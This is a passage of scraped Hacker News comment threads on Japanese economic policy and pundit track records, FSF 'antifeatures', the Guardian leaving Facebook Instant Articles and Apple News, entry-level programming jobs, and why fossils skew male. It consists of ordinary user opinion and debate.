</comment></comment><comment><USER9> >Go ahead and buy stocks, says John Mauldin--if you've got a 10-year time horizon. If you don't, don't. Because it's just another sucker's rally. -John Mauldin March 2009

John Mauldin seems to have a spotty track record. He correctly called the summer 2008 rally as a bull trap.[1] However, he failed to call the 2009 low, and has been calling a top for the past few years.[2][3]

Eventually I'm sure he'll get it right, and there will be another market crash. But if you listened to him in 2009 [3], you would have missed out on a 250% increase in your portfolio over the past 4 years.

Based on 4 year boom/bust business cycle, I actually think the market is overdue for a serious correction to 1200-1400 S&P in the next year, but I don't see any doomsday scenario playing out in the next 5 years.

[1][http://www.businessinsider.com/prepare-now-there-is-so- much-...](http://www.businessinsider.com/prepare-now-there-is-so-much-that- could-push-us-into-another-2008-crisis-2011-9) [2][http://www.investorsinsight.com/blogs/john_mauldins_outside_...](http://www.investorsinsight.com/blogs/john_mauldins_outside_the_box/archive/2008/06/16/the- road-to-revulsion.aspx) [3][http://www.businessinsider.com/henry-blodget-just- a-suckers-...](http://www.businessinsider.com/henry-blodget-just-a-suckers- rally-says-john-mauldin-2009-3)

</comment><comment><USER10> These types of strategic economic articles have always fascinated me. But I have to ask, what _can_ the Japanese do about that high retiree:worker ratio? As the article mentions, they aren't the only country with that issue. Presumably there is some solution other than "sit there and suffer" or to push the retirees off onto an ice floe.

<comment><USER11> Be more generous to people with kids, thus making people get more kids.

More days off, more money, more kindergartens etc.

<comment><USER12> The decline in Japanese fertility has been going on for 40 years now, one wonders what it would take.

Various authors I read say no society has ever recovered from their (beyond) "lowest low" fertility rate.

<comment><USER11> The one we have here in Sweden have recovered quite a bit since the lowest lows, but it still isn't above 2.0 per woman.

<comment><USER12> Interesting. Fortunately you didn't hit what demographers call "lowest low", a rate of 1.3, and as you say, you're climbing back from your nadir of 1.50, now bouncing at or a bit above 1.90 per Wikipedia. I have heard of various things the government has done to encourage child bearing; congratulations on deferring and very possibly avoiding societal death.

</comment></comment></comment></comment></comment><comment><USER13> TL;DR: shorting the Japanese government is the trade of the decade. (According to the author). "Will I succeed? Time will tell, but I am joined by Japanese public pension funds that have announced they will reduce their holdings of local bonds while increasing their share of both domestic and, in particular, foreign equities. No time frame was provided in the data I saw, although indications are that they have already started."

Of course- als always- _timing_ is everything.

</comment><comment><USER14> The question, 'can a great nation fail to inflate its own currency?', seems a little silly. I'm reminded a little bit of Brad DeLong's 'widowmaker':

[http://delong.typepad.com/sdj/2013/05/the-washington- super-w...](http://delong.typepad.com/sdj/2013/05/the-washington-super-whale- hedge-fundies-the-federal-reserve-and-bernanke-hatred.html)

</comment><comment><USER15> This doesn't make sense. Not enough workers but demand for their work output goes down? They can't both be problems.

<comment><USER16> The workers, as a group, are the main consumers of their own output.

<comment><USER15> A lower ratio of workers to seniors is supposed to be a problem because the workers need to produce stuff both for themselves and for non-workers. It's an argument that there will be too much demand, not enough supply.

If you then say that consumers aren't buying enough and there isn't enough demand, then that could also be a problem (recession). But too much consumption and not enough consumption can't both be problems at the same time.

<comment><USER17> > _But too much consumption and not enough consumption can 't both be problems > at the same time._

What if the the problem is that the demand is for things that Japanese companies have a hard time producing? E.g., oil/energy (which of course actually is a big problem in Japan), iphones, etc...

</comment></comment></comment></comment><comment><USER18> I find it a bit unbelievable that the bank of Japan wants inflation but has been unable to produce it. A simpler explanation is the bank of Japan does not want inflation because it is not politically possible. I also noticed he mentioned that economic textbooks say an aging economy should produce inflation so Japan is confusing. But what do political economy textbooks say about the monetary policy demands of an aging population? I can't see an inflationary monetary policy going down too well politically with older people who have savings in fixed interest. Japan has had low monetary growth because that is what is politically popular.

<comment><USER19> Woukdnt most of their savings benefit from inflation as the interest they earned would increase

<comment><USER18> I think a lot have fixed rate long term bonds that would hurt if inflation increased. 95 % of Japanese bonds are owned domestically ([http://m.nber.org//papers/w18287](http://m.nber.org//papers/w18287)). Japanese people with wealth (ie old people) would have large direct or indirect exposure to government bonds which are mostly fixed interest.

</comment></comment></comment><comment><USER20> Does anybody have ideas about how a small foreign investor could borrow money in yen? I've got a mortgage too, and it is denominated in the too-strong-for- our-good Euro :)

<comment><USER16> Get a forex margin account and buy EUR against the Yen?

<comment><USER20> Thanks for the suggestion. Someday I could really try :)

</comment></comment></comment><comment><USER21> Did Maudlin correctly predict the housing bubble and collapse? Otherwise, his opinion is worth nothing.

<comment><USER22> This is sort of off-topic, but it would be nice if there was a convenient way to know if a pundit is a complete buffoon - like a score based on how many correct or incorrect predictions he's made. Points off for saying Iraq would be a cakewalk and had nuclear weapons, and that houses in Las Vegas were a good investment in 2005. You could save a few minutes of your life and a few neurons by skipping articles by people who make those kinds of predictions.

I have no idea who Mauldin is, or whether he can be expected to give a balanced view of an issue I don't know much about.

<comment><USER23> PunditTracker is a pretty cool site that is trying to solve this problem: [http://www.pundittracker.com/](http://www.pundittracker.com/)

</comment></comment></comment><comment><USER24> So practically speaking, how would a normal person go about trying to capitalize on this analysis?

<comment><USER16> Currency trading.

</comment></comment><comment><USER25> excellent commentary on situation in Japan by (very successful) hedge fund manager Kyle Bass: [http://www.youtube.com/watch?v=ZY6IEpKRA7Y](http://www.youtube.com/watch?v=ZY6IEpKRA7Y)

</comment><comment><USER26> If anyone can make more with less workers, it's Japan. Bring on the robots!</comment>


Antifeatures - <AUTHOR> http://www.fsf.org/bulletin/2007/fall/antifeatures/ <comment><USER2> Counterpoint: Price discrimination allows people who can't afford the full version to buy the crippled version.

Joel had an entertaining Yegge-long post on this topic: [http://www.joelonsoftware.com/articles/CamelsandRubberDuckie...](http://www.joelonsoftware.com/articles/CamelsandRubberDuckies.html)

Of course, you can't even have that discussion with FSFers, since they're interested in freedom at any cost. Also, price discrimination does not apply if the vendor _only_ sells the crippled version (as with many DRM systems).</comment>


The Guardian Pulls Out of Facebook's Instant Articles and Apple News - <AUTHOR> http://digiday.com/media/guardian-pulls-facebooks-instant-articles-apple-news/ <comment><USER3> This discussion has reminded me that I intended to make a donation to the Guardian, since I read it every day and use an adblocker.

The link for a one-off contribution is here: [https://contribute.theguardian.com/](https://contribute.theguardian.com/)

Or for a subscription, here: [https://subscribe.theguardian.com/](https://subscribe.theguardian.com/)

I tried the weekly paper edition for a while, but although it was posted on- time at the printers (in Britain or Austria), the Danish postal system usually delayed delivery to me by at least a week.

<comment><USER4> they're still better than most big news organizations, but they're massively scewed toward a certain type of left wing echo chamber at this point. I loved reading the publication for years; the Snowden revelations were the high point.

Now you'll get a massive dosage of anti-Sanders, anti-Corbyn hit pieces and similar along that political vein. You'll get a solid 70% of opinion articles pushing extreme feminism. If that's your cup of tea, all the power to you. But I don't think they're remotely impartial for a second anymore.

Comments sections strategically opened or closed or moderated depending on the subject.

Good on them for pulling out of Facebook I guess, but that definitely doesn't mean they're remotely objective at this point in my experience.

<comment><USER5> Care to recommend any objective news outlets?

<comment><USER6> Reuters or AP is the closest you can get to objective news, as they're both press agencies. (Impartiality and objectivity are key principles of any press agency.)

<comment><USER7> There is still a bias in which things are considered news worthy and how often they are reported. In principle an objective newspaper can correct for that.

<comment><USER8> this is the problem the BBC falls foul of. Their reporting is reasonably impartial but they're infamous for excluding reporting on topics that they are not politically aligned with and over-reporting stories that support certain narratives.

</comment></comment></comment></comment></comment></comment><comment><USER9> This is great, we all should support this.

The web is at a crossroad and we should promote multiple platforms, old-style blogs, decentralized navigation, classic journalism, etc.

For too many people, Facebook is the web and this is really sad and wrong.

We must find other ways to pay for information and curated content, limiting tracking and defending privacy.

<comment><USER10> Oh, I dunno. I thought it was an interesting experiment. I think it still has its uses. Facebook is hardly a monopoly in the sense that google or microsoft was. I know tonnes of people who don't use facebook and the people who do use it, it's usually just to connect with friends.

Facebook / instagram / messenger, from what I can see, are just hard charging innovative platforms trying to create products people like. Their businesses could crater pretty easily and the only reason it doesn't is because they keep trying different things.

It's not like search and microsoft's OS dominance / network effects from their Office products.

You don't need to log onto facebook in order to work, you chose to because it's fun and you can connect with friends. Google / MSFT have far deeper hooks.

<comment><USER11> _I know tonnes of people who don 't use facebook and the people who do use it, it's usually just to connect with friends._

Facebook has 1.86 billion monthly active users as of Q4 2016[1]. At that time approximately 3.4 billion people used the internet. So a little over 1/2 the internet-using population, and 1/4 of _everyone on Earth_ , has a Facebook account that they access at least once a month. If you drill down a bit about 80% of American adults use Facebook regularly[2]. You may know tonnes of people who don't use Facebook, but I think that's actually quite unusual. Outside of our HN-reading, privacy-interested, technically-competent bubble the overwhelming majority of people use Facebook, and Facebook does have an effective monopoly.

[1] [http://money.cnn.com/2017/02/01/technology/facebook- earnings...](http://money.cnn.com/2017/02/01/technology/facebook-earnings/) [2] [http://www.pewinternet.org/2016/11/11/social-media- update-20...](http://www.pewinternet.org/2016/11/11/social-media-update-2016/)

<comment><USER12> 80% of the country using facebook 'regularly' is not a monopoly. And even if it were, what are they monopolizing, social media in general? Just because 80% of the country visits McDonald's regularly does not make them a monopoly.

<comment><USER13> That is a bad analogy. You can start a family diner tomorrow and compete with McDonalds. There is nothing preventing that 80% to eat at your place.

However, you cannot start a social network tomorrow and expect to make a reasonable income. People will not join your network, because their friends are not there. Facebook holds a significant part of the world population hostage, because they cannot 'dine' somewhere else. Contrast this with a situation where social networks are federated. You could opt to go to a competing network because their service is better, without losing contacts to your friends.

I would not know if that qualifies as a monopoly legally, but there is clearly a huge difference between McDonalds and Facebook.

<comment><USER14> While network effects exist and are worrying, this is a bit too strong - <USER2> can have two accounts concurrently, and many people do. Hence why FB had to buy Instagram and Whatsapp, and why Snapshat has more than a hundred million users.

<comment><USER15> "You can have two accounts concurrently"... on all the sites that Facebook owns.

They tried to buy Snapchat too.

Some interesting reading on how we might measure the unusual cost of Facebook's monopoly to society.

[https://stratechery.com/2017/facebook-and-the-cost-of- monopo...](https://stratechery.com/2017/facebook-and-the-cost-of-monopoly/)

</comment></comment></comment></comment></comment></comment></comment><comment><USER16> Facebook has single-handedly almost ruined news consumption among certain demographics in the US.

Your news feed is designed from the ground up with powerful artificial intelligence to become an echo chamber, and lots of FB users just don't understand this. They fall for it completely.

I have more liberal friends than conservative friends, and my FB feed literally only shows me anti-Trump pieces (along with ads and other spam), some of which are astoundingly blatant in their bias.

I have to go out of my way to seek out opinions from or articles shared by my conservative friends. Even if I do this frequently, FB still does not incorporate them into my feed. Instead, every single day, it shows me low- quality clickbait anti-Trump articles shared by someone who lived on the same floor as me in a college dorm 7 years ago with whom I shared one conversation in real-life and whom I've never interacted with on FB in any way aside from approving her friend request.

<comment><USER17> This is something some colleagues in my research team (Reuters Institute for the Study of Journalism, part of the University of Oxford) are studying.

The evidence doesn't seem to show an effect: while there's definitely partisan selective exposure as a result of Facebook's algorithm, our longitudinal audience data suggests that before Facebook people mostly only read or watched a single news source. So even the attenuated diversity you get through a selective feed still seems to result in wider incidental exposure than the pre-social media world.

No paper to link, as the research is still ongoing. I understand they look like pretty robust results, though - it's certainly changed the way we look at things.

<comment><USER18> Facebook doesn't show up posts based on the source. They do it at individual levels.

So even if you read the "Unbiased Times", you can get a biased selection of articles because of the algorithm.

<comment><USER17> Quite true. Analogous things happen in print, though: people often read only the sections of papers which interest them (and, at the extreme, consciously skip those op-ed columnists which raise their blood pressure).

<comment><USER18> Exactly, and even if they read, they will reject it and forget it.

However, in the old days, you could get away with fake news, and today, you can get away with fake news (even break the law, because it's the internet, and you can write in English and have .com or .us domain in whichever country you want), and it's even lucrative to do so!

</comment></comment></comment></comment></comment><comment><USER19> The trade magazine, Press Gazette, recently launched a campaign to 'stop Google and Facebook destroying journalism'

[http://www.pressgazette.co.uk/press-gazette-launches- duopoly...](http://www.pressgazette.co.uk/press-gazette-launches-duopoly- campaign-to-stop-google-and-facebook-destroying-journalism/)

<comment><USER20> They don't need Google or Facebook. The news business is doing a great job of destroying themselves.

<comment><USER21> How do you figure, specifically?

<comment><USER20> Exhibit 1 would probably be the inaction of newspaper publishers 20 years ago as Craigslist took the classified ad business away.

Exhibit 2 might be the NYT taking on massive debt 10-15 years ago even as it was pretty clear that their business was changing. Money was cheap and their magic 8 ball said _outlook good_ , so that was all they needed.

Exhibit 3 is probably the lack of care publishers have around the user experience on the web. AMP and IA is Google and Facebook saying "your product is great, your presentation is terrible". A 500 word story should load on a phone in under a second all the time.

Exhibit 4 would be lowering of the editorial bar by lots of outlets. This is probably the big one in my opinion:

* the NYT reporting in the run up to the Iraq war still bothers me, trust is hard to earn and easy to lose

* editors know that there aren't always two equal sides to every story, but that's the format they have

* their interview formats seemed designed so that a question with a yes or no answer can be spun on fly into a statement about something unrelated

* when everything is called _breaking news_ , nothing is breaking news

* the patterns of news outlets are so obvious, that they are easy to manipulate (how many hours of television and lines of print were spent on Obama's birth certificate?)

Exhibit 5 is probably the overly conservative approach to the web. A digital newspaper is the obvious path and it's the only one too many outlets are exploring. Buzzfeed is a nice exception. I don't even think they expect readers to go to their website. Buzzfeed packages everything for sharing and the content flows just about everywhere. I don't think the conservative behavior of most outlets is due to lack of ideas. Some very smart people (like Dave Winer and Jonathan Abrams) have expressed a lot of interesting ideas that nobody seems to be willing to experiment with.

A decent amount of shrinkage in the news business was overdue. If you travel and read local papers, they are all almost exactly the same. If you watch local evening news, every program has the same format and basically the same set. There's a ridiculous amount of duplication and redundancy and getting rid of that frees up a lot of resources to work on other stuff. Fortunately, I think the shrinkage is mostly complete.

<comment><USER21> This is great. Thank you.

</comment></comment></comment></comment></comment><comment> w-ll How come the Apple News Feed in Siri isn't configurable? It doesn't even follow the sources of the News.app. It's constantly clickbaity or depressing. Who moderates and chooses that.

<comment><USER22> Unsubstantiated guess: Apple wouldn't be able to tell big publishers their active reach on the News platform is X million people if it limited the news in the widget to the app sources you've explicitly followed.

I was also turned off by this and stopped using it for that reason.

</comment></comment><comment><USER23> Guardian spokesperson: "Our primary objective is to bring audiences to the trusted environment of the Guardian to support building deeper relationships with our readers, and growing membership and contributions to fund our world- class journalism."

Precisely. FB's brand with respect to news is damaged to the point where it's negative. FB is the place to get fake nuz. The Guardian and the Times are wise not to allow their content to move under the FB brand.

</comment><comment><USER24> Ah, Apple News. Americans might want to know that it is still not widely available in the rest of the world – probably another failed Apple project.

I had some hope that Apple News could help RSS but that was apparently never Apple's intention.

<comment><USER25> It's actually a sleeper hit [1][2]. The Guaridan seems to be the anomaly.

>Publishers are also paying increasing attention to Apple News, which added push notifications as part of a redesign last year and now delivers significant traffic thanks to the fact that it comes pre-installed on hundreds of millions of devices.

[1] [http://www.theverge.com/2017/4/16/15314210/instant- articles-...](http://www.theverge.com/2017/4/16/15314210/instant-articles- facebook-future-ads-video)

[2] [http://digiday.com/media/duopolys-shadow-apple-news- finding-...](http://digiday.com/media/duopolys-shadow-apple-news-finding- favor-publishers/)

<comment><USER26> > It's actually a sleeper hit [1][2].

That's not the impression I get from reading both articles. Some publishers like Mic seem to be still in a honeymoon phase with Apple News, but there's a lot of criticism similar to Instant Articles. "Being committed to" and "spending a lot of time" doesn't equal to a financial success for publishers.

<comment><USER25> I follow Media Twitter pretty closely. Apple News has become a significant driver of traffic for a lot of publications. This contrasts to when it launched when no one thought it would amount to anything.

Here's a few more stories

[http://www.niemanlab.org/2016/11/after-a-slow-start-apple- ne...](http://www.niemanlab.org/2016/11/after-a-slow-start-apple-news-is- emerging-as-a-significant-traffic-driver-for-some-news-orgs/)

[http://www.niemanlab.org/2017/03/australias-public- broadcast...](http://www.niemanlab.org/2017/03/australias-public-broadcaster- is-using-apple-news-push-alerts-to-reach-new-younger-audiences/)

[https://digiday.com/media/apple-news-the- telegraph/](https://digiday.com/media/apple-news-the-telegraph/)

</comment></comment></comment></comment><comment><USER27> This is one of the problems with monopolies, or maybe the bigger one. Once you are dominant in one business, search/mobile/messaging, you can take over other business without much effort.

They are not news companies, they are not in the news business, they don't know it, and they have not done anything to be worth the trust of the public. They are just convenient because they are a monopoly in another area.

<comment><USER28> sadly, you just described news companies.

almost none of them know about news, they just happen to own the largest distribution media in some region and because of that everyone have to listen to them.

add to that that traditional media (tv, radio) you are limited by government allowing you to own a frequency.

<comment><USER29> Those large media distributions didn't appear out of nowhere, they were built by entrepreneurs and communities. They slowly merged into the huge operations that exist today. That said, those publications have got so big that some have become divorced from reality... you only have to look as outlets like The Guardian and the huge losses they continue to absorb. Extreme even by industry standards.

</comment></comment></comment><comment><USER30> If a paper becomes a part of a large feed, it risks becoming an interchangeable part and that means the aggregator can lower prices.

In some sense, Apple faced that problem, too. It created its own sales channel, whereas the Guardian has one to fall back on.

In contrast, Intel when faced with that problem in the PC market, choose to work on brand awareness through the "Intel Inside" campaign. Reason likely is that, to create their own sales channel, they would have had to start making PCs, thus competing with their own customers.

So, Intel accepted that there were larger entities offering both their and their competitor's product, as long as it had ample opportunity to market its brand there.

So, perhaps the aggregators should work on two things: pay more to their contributors, and allow contributors more to present their brand.

</comment><comment><USER31> The problem with the "semi-auto" curated feeds that all of the Internet middlemen thinks is going to finally allow them to turn their online market share into profits is that the feed idea depend on the same omnibus newspaper model* that no longer works for the newspaper industry.

The dead of the omnibus paper the press is forced to choose between a return to the old local/partisan model where the paper becomes a part of political movement and receives "patronage" from that movement in forms of paid subscriptions, or the yellow(named for the color of cheap paper) model that lives off scandal creation.

*Most of the newspapers of the 90ies based most of their revenue off content sourced from their network of partners a model that only really worked because the paper had access to long distance communication networks too expensive/exclusive for widespread usage among consumers.

</comment><comment><USER32> "The draw of Instant Articles was that they load much faster than the Facebook links that take readers back to most publishers' own sites."

Are you serious, _that_ is the draw? Apologies as needed from me (someone who doesn't know or care a thing about Facebook) but I'm surprised. Couldn't a publisher easily silver-bullet this just by _removing the bloatware from their own site?_

<comment><USER33> Agreed. Give me a decent site, not AMP bs.

</comment></comment><comment><USER22> Always seemed crazy to me that publishers were willing to give up so much for these integrations. The ability to have final say over how readers experience your information, and opportunities for freely measuring/analyzing that experience, should be key for news organizations that want to evolve.

Integrating with FB IA & Apple News is giving up power for gains that may not be worth it in the long run.

</comment><comment><USER34> I get why they've done it, and The Guardian is a site that I both contribute to and disable my ad-blocker for, but I will miss the speed at which the articles load on my ancient and rubbish phone.

I'd still rather support them though!

</comment><comment><USER35> I find it surprising that they are still going strong on AMP. I tend to club AMP along with Instant Articles, etc. Any thoughts on as to why this is the case?

<comment><USER36> I think they're similar in goal but quite different in implementation. AMP gives publishers a lot more control and apparently that shows up in ad revenue figures.

</comment></comment><comment><USER37> Dunno, as a user I'm a bit sad. I enjoyed having a simple native app to view all my news in, (Apple News). I was subscribed to The Guardian, but now I don't feel like I'll get my worth from their network if I have to change my daily flow just for their news site.

</comment><comment><USER38> Most writers, be they novelists, journalists, bloggers or whatever label suits you, wish to write and hope to be paid well enough for it so that they can write some more. Most will acknowledge that they have a bias from the very outset (called 'eating'). If you are 'lucky' enough to have some semi- permanent arrangement with some publisher you will have their biases to contend with and if your employer accepts monies for advertising you will have their clients' biases to contend with and if they accept subscriptions you must contend with the bias of protecting the bubble into which the subscribers so willingly insert themselves because here in the United Kingdom, newspapers and even television media have, historically and quite openly, been arranged along political and socio-economic lines to the degree that if one took the Guardian one could be fairly assumed to be a 'middle-class, slightly-left of centre, hand-wringing, grammar school educated' whereas if you took the Telegraph you were 'a cunt'. I find it especially relevant today what with all this talk of what is and isn't 'fake news'. Can 'good' journalism be paid for? What is 'good' journalism? And what are you paying for? Clearly some people do not wish to wander from the menu and can be justifiably upset having paid for a certain serving at having other unpleasantries appear on their plates. When you pay for your subscription and I do not mean to pick, you might wish to pay the Dirty Digger instead or as well as even, do you expect 'a' truth or 'the' truth? If the unbiased reporting of facts is what you are after then doesn't an aggregated feed from a variety of sources much better fit that goal? I could write more...

</comment><comment><USER39> Would be great if some newspapers and other media cooperate and found a new friendly-minded ad-network. Provide old-school picture based banner ads with pay-per-click or pay-per-view models and no (or very small and fast) JS third party code/library.

<comment><USER40> This is what the people want. Even those who don't realize it yet.

<comment><USER41> Unfortunately, it is not what advertisers pay for.

</comment></comment></comment><comment><USER42> The Guardian is trying to get subscribers and donations. I'm not sure how much Apple and Facebook help them facilitate that goal.

<comment><USER43> I'm pretty sure Apple News supports subscription content, but not a patron- style subscription.

<comment><USER42> Perhaps they didn't like Apple's taking a percentage of such subscriptions then.

</comment></comment></comment><comment><USER44> Instant Articles is the best experience I've ever had reading an article online. It loads lightning fast and doesn't have bloated layouts or obtrusive advertising. I was shocked the first time I [unknowingly] clicked on an Instant Article.

I think it's best for the internet's health that Instant Articles is slowly declining, but it did show me how much better the experience could be if people paid attention to that stuff.

(I'm only commenting on the bigger picture, nothing about the Guardian specifically. They actually have one of the better websites out there.)

</comment><comment><USER45> Sad to see The Guardian go from Apple News, though I respect their decision:(

<comment><USER46> As am I. I would pay a subscription fee to keep them on Apple News. That's where I read most of my news. If they aren't going to give me the option to pay them to keep using them, I'm not going to pay them, it's that simple. Pretty silly move in my opinion.

</comment></comment><comment><USER47> I would love a Netflix/Spotify-style news system where I pay a flat monthly fee, get articles from dozens or hundreds of providers, and absolutely, positively no ads. There's no other way I'll ever pay for a subscription to a single news source, and I'm going to continue to block ads. I agree with others that even just tracking what I read makes me not want to subscribe. I just want a news feed, possibly that I can tailor, and with no ads. I'll pay for it.

</comment><comment><USER48> I think it's way too late for media companies to regain any ground from platforms like Facebook, Snapchat etc. Their models need such a fundamental rethink and I'm not sure any of the execs in charge have to the stomach to do so.

</comment><comment><USER49> Thomas Frank ("What's the matter with Kansas, "Listen, Liberal (2016)), is an American journalist who was kicked off MSNBC and writes for The Guardian instead and not US MSM.

Not only did US MSM (NYT, WaPo, ...) ignore Frank, they ignored the fact that Trump and Sanders were better at protecting STEM jobs by combatting H1-B Visa abuse than Clinton. (See ComputerWorld article below).

[https://www.theguardian.com/profile/thomas- frank](https://www.theguardian.com/profile/thomas-frank)

He was warning the Democrats not to ignore the affects of globalization on the working class:

March of _2016_ Millions of ordinary Americans support Donald Trump. Here's why [https://www.theguardian.com/commentisfree/2016/mar/07/donald...](https://www.theguardian.com/commentisfree/2016/mar/07/donald- trump-why-americans-support)

After BrExit (July). The world is taking its revenge against elites. When will America's wake up? [https://www.theguardian.com/commentisfree/2016/jul/19/reveng...](https://www.theguardian.com/commentisfree/2016/jul/19/revenge- against-elites-americas-wake-up)

The first article I started sending to people in early June.

He explains very clearly that the Democrats left drifted away from the strategy of FDR of supporting the working class and protecting American jobs. Hilary was for trade which decimated working class and for H1-B visas and illegal immigration which depressed wages for STEM and working class respectively.

Trump was anti-trade, anti-illegal immigration, and anti-H1-B abuse (he complained when Disney of FL replaced 250 American IT workers with H1-B). Notably, HRC was more like Bush and Rubio wanted to expand H1-B.

[http://www.computerworld.com/article/3008726/it- careers/bern...](http://www.computerworld.com/article/3008726/it- careers/bernie-sanders-wants-to-raise-wages-of-h-1b-workers.html)

"Sanders doesn't go into great detail about his work visa proposal, but at least he brings it up. His main opponent in the campaign for the Democratic presidential nomination, Hillary Clinton, doesn't discuss the H-1B visa at all in her "comprehensive" immigration platform.

Among the leading Republican presidential candidates, Donald Trump, the billionaire developer, has emerged as the chief H-1B critic for his party. Like Sanders, Trump wants prevailing wages increased. Another candidate, Sen. Ted Cruz (R-Texas), is on the cusp of reversing his previously supportive position and is working on reform legislation.

Republican candidates who are seen as H-1B supporters and would likely back an increase in the annual cap on the visas are former Florida governor Jeb Bush and Sen. Marco Rubio (R-Fla.).

Hillary Clinton may be more aligned with Rubio and Bush than she is with Sanders on the H-1B issue. While serving as a U.S. senator representing New York, Clinton traveled to Buffalo in 2003 to mark the opening of an office of IT services provider Tata Consultancy Services (TCS). That was 12 years ago, but the H-1B issue was very much a subject of controversy by then. TCS is one of the largest users of the H-1B visa.

The Clinton links to the IT offshore outsourcing industry have continued since then through the work of the Clinton Foundation, where Tata has been participating in its STEM education efforts. In 2011, former President Bill Clinton was paid $260,000 by IT services provider HCL to deliver a speech."</comment>


Ask HN: Good Entry Level Employers - <AUTHOR>

I am graduating in may and don't have a job yet. I did well at a fairly reputable department, completed an internship, and have some experience programming outside of school. I am interested in systems stuff and machine learning. So far I haven't found any jobs that I both want and am qualified for...any suggestions would be welcome <comment><USER2> If you're American, this is a sort of crisis that a lot of grads are facing. You must have read about it, as it is called "underemployment".

Kudos to you for knowing how to code and using this place to get some 'leads' to a job. Just make sure you earn enough to live (not exist).

</comment><comment><USER3> If you are interested in systems programming, Green Hills Software (where I work) is currently hiring new graduates. We develop tools for embedded programming, including our own compiler, real-time operating system, hardware probe, and development environment. There are lots of opportunities here.

[http://www.ghs.com/jobs_usa.html#sw_eng](http://www.ghs.com/jobs_usa.html#sw_eng)

</comment><comment><USER4> Drop me a line, we do sometimes hire folks straight out of school (I'm a software engineer on the data team at Factual), you'd definitely get a great exposure to a large range of technologies here.

</comment><comment><USER5> Apply for the jobs you want - and then when rejected, ask what jobs you need to work at to be competitive in 2-5 years. HR people suprisingly give really good advice.

</comment><comment><USER6> are you interested in trading? lots of places in Chicago are always looking for people like you.

<comment><USER7> I'm curious about this. Are you saying the 'places in Chicago' looking for programmers to build systems to facilitate trading or is it that OP could become a trader himself with that skillset?</comment></comment>


Why Fossils Are Mostly Male - <AUTHOR> https://www.atlasobscura.com/articles/fossil-record-prefers-males <comment><USER2> > [Male wooly mammoths] were more likely to do silly things, like die in tar > pits

Apparently, across many mammalian species, males are more likely to take risks and explore than females. This seems to be good evidence that not all gendered behavior is socialized. That would seem to be a silly straw man argument to knock down, if it were not so widely held.

<comment><USER3> It is a silly straw man argument that should be knocked down. Society has completely lost it trying to ignore science and claim that there's no biological differences between genders. It's a joke if you're even slightly educated on the subject.

<comment><USER4> Is anyone claiming that there are no biological differences between genders? It's very blatantly obvious that there are. I think the idea that many people oppose, is that the existence of some biological differences justifies other social differences.

<comment><USER5> Yes, unfortunately there are a number of people, some in positions of power and authority over some sporting bodies, that believe there is no meaningful difference between sexes.

The most notable result I've seen is a transgender (recently transitioned) MMA fighter fracturing the skull of an opponent in an appallingly one sided and brutal fight.

Denying the most basic facts of hormone effects (muscle and bone density effects of testosterone and then the bone density sparing effects of estrogen) that have not even been questioned for decades is now unfortunately a thing.

<comment><USER6> Why was the fighter even allowed to compete in the new league? Do you have a reference for the fight?

<comment><USER7> Fallon Fox vs Tamikka Brents

<comment><USER6> Thanks, that was brutal.

</comment></comment></comment></comment></comment></comment></comment><comment><USER8> > "This has less to do with misogyny"

How did they shoehorn in sexism into an article about animals? This has nothing to do with misogyny because animals are incapable of reason.

<comment><USER9> The sexism would be coming from the people collecting fossils and curating the museums. Later in the article they mention that human biases affect the gender ratios of collections of extant organisms (although not for sexist reasons) so it's not a completely absurd thing to rule out.

<comment><USER8> So the argument would be the the (male) paleontologists, museum curators, etc. had such a burning hatred for women that they chose male specimens to cultivate and display?

<comment><USER10> Please do not flame the discussion with strawmans. This is a very uncharitable interpretation of what OP wrote. It is not about hatred, it is about minor subconscious preferences that _if_ they exist, the can cause noticeable effects in aggregate.

<comment><USER8> What I wrote is not a strawman, it is the definition of misogyny. Perhaps you are conflating this with sexism. The article used the word misogyny, so that is what I am using.

<comment><USER9> The article said there was no misogyny. My comment also said that. No one is arguing that people were being driven by misogyny.

<comment><USER8> The article starts by mentioning "less to do with misogyny".

My comment is about sexism, specifically misogyny (as used by the article).

You reply to my comment taking about how it can be plausible that it is misogyny.

I believe we are talking about misogyny.

<comment><USER9> My comment was that it's not completely absurd to rule out sexism because human biases have affected the gender composition of similar collections. That's pretty far from making a specific argument about how misogyny is involved.

<comment><USER11> It is completely absurd as you have absolutely less than zero evidence to support it has occurred.

The main problem here is the binomial distribution, not any other kind of bias.

Fossils are rare enough that even a small change in behavior could really stack the deck.

Do you think the was perhaps a child bias in Homo fossils caused by curators? (They're overrepresented probably for obvious reasons.)

<comment><USER9> If there is less than zero evidence to support that something happened, isn't that an appropriate time to rule it out?

Everyone agrees that this is not due to sexism. What's the problem with saying so in an article?

</comment></comment></comment></comment></comment></comment></comment></comment></comment></comment><comment><USER12> This article misses some steps...

Just because a male might be likely to go do something risky and die young, that wouldn't explain more male fossils. After all, the female that didn't do something risky will also die. All things die.

Are they trying to claim that females who die are less likley to turn into fossils, perhaps because of the locations the deaths occurred in?

<comment><USER13> Fossilization of bone generally requires animals to die such that they're buried pretty quickly. The swampier parts of swamps, river banks, tar pits, that sort of thing. Risky areas for megafauna, not places they're going to be, say, sleeping if they can avoid it. The exceptions are when there were, for example, flash floods that quickly swept & covered ordinarily-safe-and-fertile flood plains, or when predators dragged carcasses to such places for whatever reason (big crocodiles, maybe), volcanic eruptions, stuff like that. A large land animal killed _not_ by some disaster, that ended up fossilized, probably didn't die of old age or of predation by something common to the animal's preferred habitat, unless they were (for example) swamp dwellers to begin with.

[edit]

> Are they trying to claim that females who die are less likley to turn into > fossils, perhaps because of the locations the deaths occurred in?

Yes, I think that's it.

</comment></comment><comment><USER14> Strange that they haven't considered chemical reasons: Males have more iron / more hemoglobin...perhaps male bones are just more likely to fossilize for some chemical reason(s)?

<comment><USER15> There wouldn't be small fossils if blood volume was that important to bone fossilization.

</comment></comment><comment><USER16> I would assume bone structure is generally bigger and stronger, lasting longer

<comment><USER15> The article mentions 25% of fossils are female. Females would need 75% less bone mass to account for that.

<comment><USER17> That's not quite how the math works. Assuming there was a size/mass minimum for fossilization, and that we expected that to be the only qualifier for fossil occurrence, we'd just need to expect X% of species to exhibit sexual dimorphism depending on how frequently we see males&females of the same species.

For example, if you needed a bone to weigh 5kg/meter and males are 5kg/meter but females are 4.5kg/meter then you'd expect to see a very low number of females even though they're only 10% smaller.

Obviously none of this is the case, and this isn't the deciding factor on why it's happening. Just pointing out where you missed things slightly.

<comment><USER15> You're right, but that doesn't fit in a snarky one-liner.

If we were serious about this bone mass minimum, we'd need to consider why there are fossils of smaller animals, or big but hollow-boned animals. That's a rabbit hole with many hypothetical variables.

